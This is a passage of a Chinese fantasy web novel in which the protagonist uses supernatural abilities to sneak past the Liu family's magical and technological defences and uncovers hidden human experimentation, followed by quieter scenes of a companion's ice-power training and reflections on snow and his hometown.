“预警阵”,地面下埋着特制的阵石,只要有重量超过二十斤的物体踏入,阵石就会发出只有守护者能感知到的低频震动。 中间层是 “束缚阵”,一旦有外人突破预警阵,空中会瞬间凝结出银色的光网,光网带着极强的束缚力,越挣扎收得越紧,哪怕是高级异兽也难以挣脱。 最内层是 “迷幻阵”,若有人侥幸突破前两层,会陷入幻境,看到自己最恐惧的场景,从而失去行动能力。这三层阵法环环相扣,从未有外人能突破到第二层。 而坐镇这一切之上的,便是柳家现任大长老、宗师级能力者柳苍澜。 这位白发老者常年闭关在祖宅深处的 “静心阁”,却能通过精神力与整个云溪镇的防御网络相连 —— 从镇外山林的异兽异动,到核心区域的每一处防御装置状态,他都能实时感知。 据说有一次,镇西防区的一只兽王级异兽偷偷改变了行进路线,偏离了巡逻护卫的预判,刚靠近镇口,柳苍澜便通过精神力传递指令,让护卫提前设伏,将其拦截。 有这样一位顶尖强者压阵,柳家核心区域的安全,在旁人眼中几乎是 “铜墙铁壁”,无人能破。 并且除了能力者的守护,柳家还引入了最先进的科技防御手段。 实验室与工厂的外围,布满了肉眼难辨的红外感应线,只要有物体遮挡,便会立刻触发声光警报;关键通道口安装了“基因识别门”,只有录入过信息的柳家核心成员才能通过,哪怕是双胞胎,基因序列有细微差异都无法开启。 甚至连空气中都弥漫着特制的“追踪粒子”,一旦有外人闯入,粒子便会附着在其衣物上,哪怕逃到镇外,也能被柳家的追踪器锁定位置。 曾有外来的间谍试图潜入柳家的初级药剂工厂,结果刚靠近工厂外围的红外防线,就被镜心大师的精神力锁定,还没来得及反抗,就被赶来的护卫制服。 这件事后来在云溪镇的情报圈里传开,所有人都默认了一个事实:想要闯入柳家的核心实验室与工厂,比登天还难,就算是一只蚊子,也不可能在毫无察觉的情况下进入这些地方,更别提一个活生生的能力者。 第 15章 研究 然而,这些在旁人眼中无法逾越的壁垒,在张玉汝面前却如同虚设。 他在 “变化之道” 上浸淫多年,那双独特的「造化之眼」,能捕捉到世间万物最细微的变化痕迹 —— 无论是空气中漂浮的追踪粒子轨迹,还是实验室警报系统里电流的微弱波动,亦或是镜心大师精神力网的频率变化,在他眼中都清晰可见。 这些变化从 “源头” 产生,起初只是一丝极淡的信号,随后逐渐扩散,最终形成肉眼可见的警报或防御触发;而张玉汝恰好掌握着 “回溯变化” 的手段,能在这些信号扩散之前,将其消弭于无形。 当他第一次靠近实验室外围的红外感应线时,「造化之眼」清晰看到,自己的衣角即将遮挡一根感应线,而感应线正准备产生 “异常电流信号”,传输到控制台。 张玉汝指尖微动,一股微弱的能量顺着感应线蔓延,将那道即将生成的电流信号回溯到 “未触发” 状态 —— 在防御系统的判定里,这根感应线从未被遮挡,一切正常。 路过镜心大师的精神力覆盖区时,张玉汝放缓呼吸,让自己的精神波动与周围的树木、石块同步 —— 他的气息融入风中,脚步声与落叶落地的声音重合,连影子都与墙角的阴影完美重叠。 当镜心大师的精神力网扫过他时,「造化之眼」捕捉到精神力网的 “识别波动”,他立刻将自身的精神波动调整为 “自然环境波动” 的频率,镜心大师的精神力网便将他判定为 “风吹过的树木”“路边的石块”,没有任何异常反馈。 面对基因识别门时,张玉汝更是从容。 他站在门旁,「造化之眼」穿透门板,看到门内的基因识别模块里,还残留着上一位进入者 —— 柳家核心成员柳明的 “基因与精神力记录”。 张玉汝指尖凝聚一丝能量,轻轻触碰识别模块,将模块的状态回溯到柳明开门的瞬间 —— 基因识别门误以为是柳明再次前来,伴随着轻微的 “咔哒” 声,门缓缓打开,没有触发任何警报。 就这样,张玉汝大摇大摆地走进了柳家的核心实验室。 实验室里,穿着白色防护服的研究人员正在忙碌,培养皿中泛着蓝色荧光的药剂咕嘟冒泡,墙上的屏幕实时显示着各项数据。 他沿着走廊缓步前行,路过监控摄像头时,「造化之眼」提前看到摄像头即将捕捉到他的影像,便将摄像头的 “画面信号” 回溯到 “空无一人的走廊” 状态;遇到巡逻的护卫,他便侧身站在实验台旁,让自己的身影融入实验设备的阴影里,护卫的目光扫过他时,只觉得那片阴影 “本该如此”,没有丝毫怀疑。 无论是三位大师级能力者的防护,还是宗师级的柳苍澜,亦或是先进的科技防御,都没能察觉他的存在。 张玉汝就像一滴水融入大海,成为了柳家核心区域 “自然” 的一部分,悄无声息地观察着实验室里的一切,寻找着柳家十年内飞速崛起的秘密 —— 那些支撑他们量产药剂、培养能力者的核心技术,或许就藏在这些泛着荧光的药剂,或是墙上那些复杂的数据之中。 张玉汝在柳家核心实验室的走廊里缓步前行,指尖偶尔掠过实验台边缘,「造化之眼」将监控画面的异常信号悄然回溯。 他如同空气般毫无存在感,可只有他自己清楚,这份“完全消失”的状态,正以惊人的速度消耗着体内的能量。 他周身萦绕着一层极淡的能量光晕,这是维持“融身自然”的关键——每一次调整精神波动以匹配环境,每一次回溯防御系统的异常信号,每一次将自身气息与周围的桌椅、设备乃至空气同化,都需要消耗大量的本源能量。 就像一盏持续亮着的灯,看似平静,内里的能量却在不断燃烧。 若是寻常隐匿手段,只需屏蔽视觉与气息,消耗尚在可控范围;可张玉汝的隐匿,要同时骗过精神力探测、阵法感应、科技监控三重防护,甚至要在宗师级能力者的感知范围内“隐形”,所需的能量消耗便呈几何倍数增长。 他能清晰感知到,体内的能量如同沙漏般流逝——才在实验室停留了半个时辰,储存的能量就已经消耗了近一成。 这种消耗速度远超寻常战斗,若是全力维持,最多三个时辰,他的能量便会耗尽,届时不仅隐匿状态会解除,还会因能量透支陷入虚弱。 更关键的是,在这种状态下,他能发挥的力量被死死限制在三成以内——无论是速度还是攻击强度,都无法与巅峰状态相比。 若是此刻遭遇突发状况,比如被巡逻的护卫近距离撞见,或是防御系统出现不可回溯的故障,他连快速脱身都成问题。 这份限制,很大程度上源于柳苍澜的存在。 若是只需要欺骗镜心大师的精神力探测、铁山大师的金属防御或是玄清大师的阵法感应,张玉汝完全不必如此费力——镜心大师的精神力网虽广,却有频率可循,他只需将自身精神波动调整到与网频一致的“空白频段”,便能轻松避开。 铁山大师的合金防御与玄清大师的蛛网阵,也能通过「造化之眼」提前预判,用最少的能量回溯异常信号。 可柳苍澜这位宗师级能力者,却是截然不同的存在。 宗师级能力者的感知,早已超越了“范围探测”的范畴,达到了“域”的层次——柳苍澜虽闭关在祖宅深处,却能将精神力融入整个云溪镇的防御网络,形成一个覆盖全镇的“感知域”。 在这个域内,任何物体的移动、能量的波动,甚至空气的流动变化,都会被他捕捉。 更可怕的是,他的感知并非“被动接收”,而是会主动筛选异常——哪怕是一粒灰尘的轨迹与往常不同,都可能引起他的注意。 张玉汝有信心,若是在空旷场地一对一战斗,凭借速度优势与「造化之眼」的预判,他能击败柳苍澜;可此刻,他要做的不是战斗,而是“欺骗”——在柳苍澜的感知域内,将自己伪装成“完全无害的自然元素”。 这比击败对方难得多,因为战斗只需突破对方的防御,而欺骗却要让对方从根本上忽略自己的存在。 哪怕他有一丝松懈,比如能量控制出现细微偏差,或是精神波动不小心脱离了环境频率,都可能被柳苍澜捕捉到“异常点”,进而引发全方位的探查与锁定。 一旦被柳苍澜锁定,后果不堪设想——宗师级能力者的精神力压制,足以让他的隐匿状态瞬间崩溃;柳家的护卫队、三位大师级能力者会立刻围拢过来,届时别说继续探查柳家的秘密,他能否带着小雪安全离开云溪镇都成问题。 所以,张玉汝从一开始就给自己定了一条铁律:每当体内储存的能量消耗到四分之一时,无论探索进展如何,都必须立刻撤离。 第一次探索时,他刚找到实验室的药剂配方储存柜,能量消耗便触及了警戒线,哪怕心里再想查看柜中的核心配方,他也毫不犹豫地转身,沿着原路悄然退出。 有一次,他在工厂的生产车间发现了一种从未见过的紫色药剂,正想进一步探查其成分,能量预警再次传来,他也只能压下好奇心,迅速脱离核心区域。 这也是他在云溪镇停留两个月的主要原因——不是他效率低下,而是每一次探索都要严格控制时间与能量消耗,只能像蚂蚁啃骨般,一点点收集信息。 有时为了确认一个实验室的布局,他需要分三次进入;为了记录一组药剂的生产数据,他要在不同时间段多次潜入,才能拼凑出完整的信息链。 每次退出核心区域,回到观澜苑后,张玉汝都会立刻盘膝打坐,运转功法恢复能量。 小雪有时会看到他额角的汗珠,或是感受到他周身淡淡的疲惫,却从不多问——她知道张玉汝有自己的秘密,只在一旁默默泡好恢复气血的汤药,等他修炼结束后递上。 随着收集的信息越来越多,柳家崛起的秘密已渐渐浮出水面,他离目标也越来越近。 只是在那之前,他必须继续维持这份谨慎——在没有绝对把握之前,绝不能因为一时的贪心,赌上自己与小雪的安全。 张玉汝站在实验室的资料架前,指尖划过一本厚厚的《药剂合成原理》,封面上密密麻麻的公式与符号,对两个月前的他而言,还如同天书般晦涩。 作为高中肄业的人,他对这些涉及化学、生物的科技知识不能说毫无基础,但实际上也没差太多,最初看到柳家实验室里的数据分析屏幕时,甚至连上面的专业术语都认不全。 但他有旁人没有的优势——速度类能力者的极致“学习速度”。 这种速度并非单纯的“阅读快”,而是能通过能力加速大脑的信息处理与记忆整合。 常人需要逐字逐句理解的理论,他能让大脑在短时间内快速筛选关键信息;别人需要反复推导才能记住的公式,他能通过能力强化记忆神经元的连接,将复杂的逻辑链一次性“刻”进脑海。 甚至连药剂合成的步骤演示,他都能放慢画面细节,再用能力加速学习过程,让一个小时的观看与理解,抵得上常人一两个月的反复练习。 就像此刻,他捧着《药剂合成原理》,指尖微微泛起淡白色的能量光晕——这是他在速度能力基础上,摸索出的“思维加速”用法。书页以肉眼可见的速度翻动,大脑却在同步处理每一页的内容:从基础的元素配比,到不同药剂成分的反应原理,再到合成过程中需要规避的风险点,所有信息如同溪流般涌入脑海,被快速分类、整合,形成完整的知识体系。 仅仅一个小时后,他合上书本,再看向实验室里正在合成的基础疗伤药时,已经能通过观察药剂的颜色变化、气泡密度,精准判断出合成进度与是否存在配比偏差——这份进步,若是换做常人,至少需要两个月的系统学习与实践才能达到。 可即便如此,速度类能力者转行去搞科研的情况,在整个能力者世界里也极为罕见。 大多数速度类能力者,从觉醒能力的那一刻起,便将精力集中在“强化速度本身”上——如何让自己跑得更快,如何在高速移动中更灵活地躲避攻击,如何用速度提升战斗时的爆发力。 他们从未想过,自己的能力还能用于“加速学习”,更没想过要走上科研这条与“战斗”毫无关联的道路。 究其根本,是“思维惯性”与“现实选择”的双重影响。 在这个异兽横行、势力割据的世界里,从未有过“速度类能力者靠科研成功立足”的明确例子。 所有能力者从小听到的、看到的,都是“力量决定地位”的故事——高级能力者能获得家族的资源倾斜,大师级能力者能成为一方势力的核心,宗师级能力者更是能左右一个区域的格局。 这些例子不断强化着一种认知:只有提升自身的战斗能力,才能在这个世界上活得更安稳,获得更多的话语权。 既然没有先例证明“科研能让速度类能力者获得同等地位”,那么绝大多数能力者,自然不会冒着风险去尝试一条未知的道路。 他们宁愿将时间花在打磨战斗技巧、寻找提升速度的资源上,也不愿静下心来学习看似“无用”的科技知识——毕竟在异兽突袭时,能救自己命的是极致的速度与锋利的武器,而不是脑海里的公式与理论。 更重要的是,“掌握自身力量”带来的安全感,是任何其他东西都无法替代的。 当一个人能凭借自己的速度,在异兽的利爪下逃生;能靠着自己的力量,保护想要保护的人;能因为自身的实力,获得他人的敬畏与尊重时,他便会本能地想要将这份“安全感”牢牢抓在手里。 而科研工作需要依赖实验室、设备、团队协作,成果也需要漫长的时间才能显现,甚至可能投入大量精力后毫无收获——这种“不确定性”,与能力者追求“绝对掌控”的心理完全相悖。 张玉汝之所以会选择学习科技知识,并非想要转行搞科研,而是为了更好地完成自己的目标——他需要看懂柳家实验室里的药剂数据,才能找到对方快速崛起的秘密;他需要了解异兽的生理结构,才能在战斗中更精准地攻击要害. 他的“学习”,本质上还是为“力量”服务,是为了让自己的速度能力发挥出更大的作用。 合上资料架上的书本,张玉汝将刚学到的药剂知识与之前收集到的信息对比,心里对柳家的秘密又多了几分猜测。 第 16章 疑惑 柳家对核心秘密的守护,早已到了近乎偏执的地步。 在核心实验室与药剂工厂工作的人员,无论职位高低,从踏入这片区域的第一天起,便失去了 “自由”—— 他们住在实验室旁的封闭宿舍区,每日的饮食、出行都有专人陪同,连与家人通话都要在监控下进行,且内容需提前报备;家属则被安排在云溪镇的指定居民区,看似生活如常,实则一举一动都在柳家暗卫的监视范围内,哪怕是去菜市场买棵菜,都会被记录在案。 更狠的是信息管控。实验室里的所有数据,都只能存储在内部专用的加密终端上,严禁拷贝、外传,连纸质记录都要用特制的 “消痕纸”—— 一旦离开指定区域,纸张便会在半个时辰内自动褪色,变成一张白纸。 参与核心研发的人员,每月都要接受 “记忆筛查”,由镜心大师用精神力检查是否有泄露秘密的念头,若是发现异常,无论是否真的泄露,相关人员及其家属都会被 “秘密处理”,从此在云溪镇消失。 柳家的人很清楚,这份秘密关系着家族的存续 —— 正是靠着这些特殊药剂,他们才能在短短十年内快速培养出大量能力者,跻身雍州顶尖家族行列。 一旦秘密泄露,不仅会引来其他势力的觊觎与打压,还会因手段的 “不光彩” 遭到整个能力者世界的唾弃,后果不堪设想。 所以他们宁愿错杀,也绝不放过任何一丝泄露的风险。 可这份密不透风的守护,在张玉汝面前,终究还是出现了缝隙。 这日深夜,张玉汝再次潜入柳家核心实验室的 “数据档案室”。 这里存放着近五年所有药剂的研发记录,由铁山大师锻造的合金门守护,还布有玄清大师的 “禁魂阵”—— 任何试图用精神力探查档案的人,都会被阵法反噬,轻则精神受损,重则陷入昏迷。 但张玉汝没有硬闯,而是启动了「造化之眼」。 混沌色的光芒在他眼底一闪而过,穿透厚重的合金门,将档案室里的每一份档案都清晰映照在他脑海中。 他没有急着查看具体内容,而是先锁定了 “临床试验数据” 的区域 —— 这是他两个月来重点关注的方向。 此前几次潜入,他已发现柳家的药剂研发进度快得反常,尤其是几款能快速提升能力等级的 “进阶药剂”,几乎没有经过长期的动物实验验证,便直接进入了 “量产阶段”,这背后必然藏着猫腻。 「造化之眼」缓缓扫过一份份档案,张玉汝很快发现了异常 —— 所有 “进阶药剂” 的临床试验记录里,都缺少了关键的 “受试体基础信息”,只标注着 “编号” 与 “实验结果”。 更诡异的是,部分数据存在明显的 “断层”,比如某款药剂的第三阶段实验,前一天的记录还显示 “受试体耐受度良好”,第二天便直接跳到 “实验成功,可量产”,中间的不良反应观察、剂量调整记录全被抹去了。 寻常人看到这些,或许只会以为是记录疏漏,可张玉汝却敏锐地察觉到,那些被抹去的部分,恰好是最能体现 “受试体类型” 的关键。 若是动物实验,会详细记录受试异兽的种类、年龄、能力等级;可柳家的记录里,只有模糊的 “体重”“能量波动范围”,这些数据更接近人类能力者的生理指标。 为了验证这个猜想,张玉汝启动了「加速世界」。 纯净的白色能量以他为中心悄然扩散,如同薄雾般笼罩住他周身,周围的时间流速仿佛瞬间被拉慢 —— 档案室里悬浮的灰尘缓缓飘落,空气中粒子碰撞的轨迹清晰可见,连远处巡逻护卫的脚步声都变得迟缓而模糊。 他将此前收集到的 “进阶药剂” 成分数据、残缺的临床试验记录,以及从柳家医疗档案中抄录的 “正常人类能力者生理参数”,全部导入「加速世界」构建于张玉汝脑海的模拟系统中。 这个能力的核心,便是以觉醒能量为媒介,加速思维运转与数据运算 —— 常人需要数天才能完成的实验模拟,在「加速世界」里只需短短几分钟。 张玉汝脑海中的数据开始飞速跳动,一行行运算公式在白色能量的加持下自动推导。 当受试体参数设定为 “中级异兽” 时,药剂中的 “促能成分” 会与异兽基因产生强烈排斥,模拟成功率仅为 27%,与柳家记录中的 “90% 量产成功率” 完全不符。 可当他将参数调整为 “18-30 岁人类能力者” 时,排斥反应瞬间减弱,成功率直接飙升至 88%,与柳家档案里的最终数据几乎完全吻合。 更令人心惊的是,模拟还推导出了被柳家刻意隐藏的 “副作用”—— 这款 “进阶药剂” 在快速提升能力的同时,会持续侵蚀神经系统,受试体在服用后三个月内,会出现记忆力衰退、情绪失控等症状,严重者甚至会因神经衰竭死亡。 这也解释了为什么柳家要抹去 “不良反应记录”—— 这种对人体的毁灭性损伤,一旦曝光,药剂不仅会被列为 “禁药”,柳家还会被冠上 “草菅人命” 的罪名。 「加速世界」的模拟结束,周身的白色能量缓缓消散,时间流速恢复正常。张玉汝眼底的凝重更甚,心中的猜测终于被彻底证实:柳家的药品开发过程中,不仅存在人体实验,而且规模绝对不小 —— 那些档案里的 “编号”,绝非冰冷的数字,而是一个个鲜活的生命。 他没有停留,迅速用「造化之眼」将关键数据烙印在脑海中,然后沿着阴影悄然撤离。 清晨的云溪镇依旧热闹如常。 镇东的早市上,小贩们吆喝着新鲜的蔬果,提着菜篮的居民讨价还价的声音此起彼伏;巷口的茶馆里,茶客们端着粗瓷碗,聊着近日异兽突袭的趣闻,偶尔有人提起柳家 “零阵亡” 的战绩,语气里满是敬佩。 这一切都显得那么平和、真实,仿佛柳家那些黑暗的秘密从未存在过。 可张玉汝站在观澜苑的二楼窗前,看着远处穿梭的人群,眉头却始终没有舒展。 这两个月里,他不仅潜入柳家的核心实验室、翻阅了大量药剂研发记录,还特意绕遍了云溪镇的每一个角落。 从镇东的柳家祖宅,到镇西的贫民区;从外围的客栈酒楼,到隐蔽的山林小屋,他甚至悄悄查过柳家的人口登记册,核对过近三年的 “失踪人口” 记录,可结果却让他愈发疑惑:云溪镇里,没有任何人体实验的痕迹。 他没找到关押受试体的隐秘牢房,也没看到处理实验废料的特殊场所;镇里的人口流动一切正常,登记册上的 “死亡”“迁出” 记录都有明确的缘由,没有出现大规模 “消失” 的人群。 就连柳家暗卫频繁活动的区域,也只是围绕着核心实验室,从未有过向某个固定地点输送 “人员” 的迹象。 这里的一切,都像是被精心擦拭过的镜子,只留下光鲜的一面,把所有阴暗都藏在了看不见的地方。 “如果他们进行人体实验的地点不在云溪镇的话,又会在哪里呢?” 张玉汝指尖轻轻敲击着窗沿,脑海里反复梳理着线索。 柳家的 “进阶药剂” 研发进度快得反常,从实验室记录来看,几乎每款药剂的临床试验周期都不超过半个月,这意味着他们需要源源不断的受试体,且实验地点必须离研发中心足够近,才能保证数据及时反馈 —— 可云溪镇里,偏偏没有这样一个地方。 他并非对 “人体实验” 感到震惊。 在这个异兽横行、弱肉强食的世界里,这种事早已不是什么秘密。他曾听说,北方的大国为了快速培养对抗异兽的能力者,在军方内部开展过 “自愿式” 人体实验,受试体多是退役的士兵,用健康换取高额抚恤金与能力提升的机会,对外则宣称是 “特殊训练计划”。 而南方的巴拉特,更是直接抓捕流民充当实验品,实验失败的尸体随意丢弃在荒野,无人问津。 人体实验广泛的存在于这个世界之上,它们的内容上只存在程度上的差别,另外有所区分的可能就是“合法与不合法”或者是“自愿与被自愿”的区别。 大国靠着权力将其包装成 “国家项目”,隐秘组织靠着隐秘性逃避追责。 而像柳家这样的家族势力,既没有大国的话语权,也没有隐秘组织的 “无序自由”,只能将其藏得更深 —— 因为一旦曝光,不仅会引来其他家族的联合打压,还会失去雍州民众的信任,毕竟谁也不愿生活在一个随时可能被抓去当实验品的地方。 不过即便人体实验如此普遍,它依旧是拿不上台面的东西。 就像是某些潜规则一样。 茶馆里茶客们不会谈论掌柜的 “偷税漏税”,镇里的居民不会深究柳家暗卫的 “异常活动”,大家都默认了它的存在,却绝不会摆到明面上讨论。 世间总有一些特殊现象的存在:它们或许因现实的缝隙而生,有着一套自洽的运行逻辑,甚至能在特定情境下暂时 “高效” 地解决问题,成为部分人默认的行事准则。 但究其本质,终究是游离于规则之外的灰色地带,见不得阳光,登不上大雅之堂,更无法成为支撑公平与秩序的堂皇正道 —— 一旦摆到明面上审视,其背后的投机、妥协与不公便会无所遁形。 张玉汝静立在原地,眉头微蹙,思绪如同被风吹动的丝线般缠绕着 —— 他始终在琢磨柳家可能藏匿试验场地的地方。 从柳家宅邸深处的隐秘阁楼,到后山那片常年无人涉足的密林,再到府中下人极少提及的地下暗室,每一个有可能的角落都在他的脑海中反复推演、排查,可最终的结果依旧是一片茫然,没有任何清晰的线索能指引他找到方向。 “既然暂时想不出头绪,那就先不着急,再等等看吧。” 张玉汝在心中轻声对自己说道,做出了暂时搁置的决定。 他向来不是那种会在一件没有进展的事情上钻牛角尖的执拗之人,深知有时候过度纠结反而会让思路变得更加混乱,既然此刻找不到破解的方法,倒不如先把这件事放一放,给大脑留些缓冲的空间。 可当真正闲下来之后,张玉汝却忽然感觉到一阵莫名的空落,连带着周遭的空气似乎都变得安静了许多。 柳家护卫队的日常巡查、值守等工作,早就有他的分身代为处理,无需他亲自费心。 而他所居住的这座小院,平日里更是极少有人会来这里打扰,偌大的院子里,此刻只剩下他一个人,显得有些冷清。 思索片刻后,张玉汝索性起身,沿着石阶慢慢走到楼下的院子里,随意地逛了起来。 推开屋门的瞬间,温暖的阳光便迫不及待地涌了进来,洒在身上,带来一阵舒适的暖意。 院子里栽种着各式各样的奇特植物,有的叶片如同翡翠般晶莹剔透,边缘还泛着淡淡的荧光;有的花朵形状奇特,像是展翅欲飞的蝴蝶,花瓣上点缀着细小的金色纹路。 还有的藤蔓缠绕着古朴的木架,垂下一串串如同珍珠般的紫色果实,微风拂过,果实轻轻晃动,散发出若有若无的清香,整个院子就像是被精心打造出来的梦幻花园,处处都透着别致的美感。 然而,这般赏心悦目的景象,却丝毫无法让张玉汝的心情变得轻松起来。 他的脑海中始终萦绕着柳家可能存在秘密试验的念头,明明知道对方一定在暗中谋划着什么,甚至可能隐藏着巨大的阴谋,可他却偏偏找不到问题的关键所在,连一点能够追查下去的蛛丝马迹都没有。 在这样的情况下,他又怎么能静下心来,好好欣赏眼前这些美丽的植物呢?那份压抑在心底的焦虑,如同细密的蛛网,紧紧地缠绕着他的思绪。 就在张玉汝沉浸在自己的思绪中,脚步不自觉地放缓时,眼角的余光忽然瞥见了院子另一侧的空地上,有一道纤细的身影正在那里忙碌着 —— 那是正在练习觉醒能力的小雪。 只见青色的冰霜如同有了生命一般,从她的指尖缓缓冒出,先是在她的双手上凝结成一层薄薄的冰晶,随后迅速沿着手臂向上蔓延。 短短几秒钟的时间,便铺满了她的全身,将她整个人都包裹在一团晶莹的冰霜之中,远远望去,就像是一座精致的冰雕。 紧接着,“咔嚓” 一声轻响,包裹着小雪的冰霜突然碎裂开来,无数细小的冰屑在空中飞舞。 小雪则从冰屑之中缓缓走出,原本的冰霜早已不见踪影,取而代之的是一副紧贴着她身形的冰霜战甲,战甲的边缘雕刻着流畅的花纹,在阳光下泛着清冷的光泽。 同时,一把通体青色的长剑也在她的手中缓缓凝结而成,剑身通透,仿佛用最纯净的寒冰雕琢而成。 看着眼前这一幕,张玉汝的脸上并没有露出意外的神情。 在之前与小雪的接触中,他便已经察觉到这个女孩拥有着极高的觉醒天赋,尤其是在掌控冰霜能力方面,更是有着远超同龄人的悟性。 无论是冰霜的凝结速度,还是对形态的操控,她都能做到精准自如,仿佛冰霜就是她身体的一部分,运用起来得心应手,没有丝毫生涩之感。 张玉汝没有上前打扰,只是静静地站在不远处的树荫下,同时默默运转自身的能力,保持着那种与周围环境融为一体的状态。 在这种状态下,他的气息会完全融入到风声、草木的摇曳之中,即便是小雪这样拥有觉醒能力的人,也绝无可能察觉到他的存在。 小雪手持那把冰霜长剑,静静地站在原地,目光落在剑身之上,似乎在感受着剑中蕴含的冰霜能量,又像是在思考着接下来的招式。 就这样静止了大约半分钟之后,她的眼神忽然变得锐利起来,身体也随之动了起来。 只见她手腕轻轻一扬,手中的冰霜长剑便如同活过来一般,在空中划出一道优美的弧线,青色的剑气随着剑的舞动在空中弥漫开来。 她的动作轻盈而流畅,每一次挥剑、转身、跳跃,都显得极具韵律感,冰霜长剑仿佛成了她身体的延伸,无论是迅猛的劈砍,还是灵巧的刺击,都被她演绎得淋漓尽致,宛如一位穿梭在冰雪中的精灵,灵动而又充满力量。 张玉汝原本有些沉闷、焦虑的心情,在不知不觉中渐渐被这眼前的景象所改变。 他的目光紧紧跟随着小雪的身影,看着那青色的剑光在阳光下闪烁,看着那灵动的身姿在院子中舞动,心中的压抑似乎也随着这优美的剑舞一点点消散开来。 他不得不承认,美丽的事物总是拥有着这样神奇的力量,能够轻易地让人的心情变得愉悦起来。 小雪的剑舞,就像是一缕带着凉意的风,吹散了他心中的阴霾,让他那颗原本有些浮躁的心,也随之慢慢平静了下来。 第 17章 发现 空中飞舞的冰雪,总带着一种旁人难以言说的特别美感。 那细碎的冰晶像是被风揉碎的月光,又似漫天撒落的碎玉,洋洋洒洒地坠向地面。 偶尔有几缕阳光穿透云层,落在冰晶上,折射出细碎而清冷的光,明明是极淡的亮,却偏偏能在人眼底烙下深刻的印记。 张玉汝望着眼前这似雪非雪的景象,眼底不自觉地漫开一丝柔和——他向来偏爱这般大雪纷飞的场景,即便记忆深处还残留着年幼时因寒冷吃过的苦头,这份偏爱也从未减损分毫。 他还记得小时候,冬天总是格外凛冽,北风像刀子似的刮过脸颊,单薄的棉衣根本抵挡不住刺骨的寒意。 可即便如此,每当清晨推开屋门,看到天地间被一片纯白覆盖,他还是会忍不住踩着没过脚踝的积雪,在雪地里慢慢漫步。 那是一片怎样的世界啊——屋顶的瓦片被积雪压出柔和的弧度,光秃秃的树枝上裹着一层厚雪,像是缀满了蓬松的棉絮,连平日里喧嚣的街巷都安静下来,只有积雪被踩碎时发出的“咯吱”声,伴着偶尔掠过的风声,在空旷的天地间回荡。 置身其中,仿佛所有的纷扰都被这纯白与寒冷隔绝在外,张玉汝的心总能奇异地平静下来。 冰凉的气息顺着鼻腔钻进肺腑,带着雪特有的清冽,落在皮肤上时,会激起一阵细微的战栗,却偏偏能让人从混沌中挣脱出来,变得异常清醒。 他一直觉得,清醒是件极好的事。 哪怕这份清醒往往要伴随着几分难以言说的痛苦——要直面柳家隐藏的阴谋,要背负着未知的风险,要在迷雾中艰难地寻找真相,甚至要承认自己当下的无力。 可即便如此,张玉汝也始终认定,清醒时的这份痛苦,远比沉溺在幸福的迷惘里要好上太多。 幸福的迷惘就像裹着蜜糖的毒药,会让人在虚假的安稳里逐渐丧失判断力,忘记自己要走的路;而清醒的痛苦,却能像一把钝刀,时时提醒着他现实的重量,让他的思维保持着最敏锐的状态,哪怕前路难行,也能始终朝着正确的方向走下去。 就像此刻,指尖触到的冰凉让他愈发清醒,也让他心底那点因找不到柳家试验地而产生的焦躁,又淡了几分。 不过这般浸着清冽美感的寒冷天地,并非所有生灵都能消受 —— 就像院角那几丛原本该生机勃勃的绿色植物,此刻正蔫头耷脑地缩在花台里,叶片蔫蔫地耷拉着,原本鲜亮的翠绿蒙上了一层淡淡的灰败,连缠绕在木架上的藤蔓都失了往日的韧劲,软软地垂落下来,风一吹,便跟着瑟缩一下,仿佛连呼吸都带着寒意。 张玉汝的目光落在这些可怜的绿植上,嘴角不自觉地勾起一抹浅淡的笑意。 他的指尖轻轻拂过身旁一株叶片微微卷曲的兰草,眼底带着几分温和的打趣,在心里为这些受了寒的小家伙默哀了一秒钟:倒也算陪我挨了这阵凉,可惜你们没小雪那控冰的本事,只能乖乖受冻了。 若说这云溪镇的自然景致,倒真称得上一句 “得天独厚”。 目之所及,既有爬满青藤的老槐树,树干粗壮得需两人合抱,枝叶间还缀着零星白色的碎花,风一吹便飘下细碎的花瓣;也有开着靛蓝色花朵的灌木,花瓣边缘泛着银白的光泽,凑近了能闻到淡淡的甜香;更有不知名的草本植物,叶片呈奇异的星形,叶背还藏着细小的荧光点,到了夜里怕是会泛出微光。 这般多样的植物,这般鲜活的生机,在怀庆府是绝难见到的。 怀庆府的城区里,最多的便是那些仿真的假植物。 塑料做的藤蔓缠绕在路灯杆上,颜色鲜亮得有些失真,时间久了,表面会蒙上风尘,甚至在日晒雨淋后开裂、褪色;还有摆放在街道两侧的假盆栽,叶片是硬邦邦的塑胶,连叶脉的纹路都透着僵硬,凑近闻,只有一股淡淡的塑料味,哪里有半分自然的灵气。 但这一切也很正常。 毕竟如今的世界里,游离在空气、土壤甚至水源中的异能量,多得远超常人想象。 这些无形的能量像细密的网,悄无声息地渗透进每一个角落,潜移默化地改变着周遭的一切 —— 别说是有根有叶、能呼吸生长的动植物,就算是深埋地下、毫无生命痕迹的矿物,都可能在异能量的长期浸染下发生异变。 这般无声无息的异能量刺激,其实也算得是人类之外,其他生物获取特殊能力的常见途径。 就像郊外的野草,有的会在异能量影响下,叶片边缘长出细小的倒刺,能分泌出轻微麻痹的汁液;有的小虫子,外壳会变得如同甲壳般坚固,连普通的石块都砸不碎;还有林间的松鼠,动作会变得愈发敏捷,甚至能短暂地在树干间滑翔。 若是把这种自然发生的、因异能量而获得能力的过程,称作其他生物的 “觉醒仪式”,倒也颇为贴切 —— 没有人为引导,没有刻意准备,全凭机缘与自身的耐受,在天地间的能量流转里,悄然开启新的生存可能。 而怀庆府,作为近年才建立起来的安全区,根基尚浅,防御范围也有限。 绝大多数普通人还只能生活在城区的高楼里,而非专门为规避风险打造的独立空间。 城区外的荒野里,早已布满了因异能量异化的动植物,它们有的性情暴戾,会主动袭击靠近的人类;有的则带着未知的毒素,哪怕只是触碰,都可能危及性命。 为了尽可能避免这些异化生物闯入城区,伤害到毫无反抗能力的普通人,怀庆府的管理者只能下了狠令 —— 城区内几乎不允许存在人类以外的生命:既不准私自栽种绿植,也不准饲养宠物,连飞鸟落在墙头,都会被巡逻的护卫驱离。 久而久之,城区里便只剩下冰冷的建筑、僵硬的假植物,还有行色匆匆的人群,连风里都少了几分自然的暖意,远不如云溪镇这般,能让人真切感受到生命的鲜活。 “果然在底蕴上还是差了些火候啊。”张玉汝望着远处被雪雾轻笼的云溪镇街巷,指尖无意识地摩挲着袖口凝结的薄霜,心里头那点感慨又深了几分。 这差距不止是满眼鲜活的绿植、自在生长的生机,更是安全区发展多年沉淀下的从容,是普通人能在庭院里见着真花真草的安稳。 “希望怀庆府之后也能越来越好,等哪天真能让街坊们推开窗就见着活的草木,不用再对着假花假草发呆。” 他在心里轻轻为家乡祈祷,眼底掠过一丝柔软的期盼,像是盼着一场迟迟未到的春雪,能落在那片他牵挂的土地上。 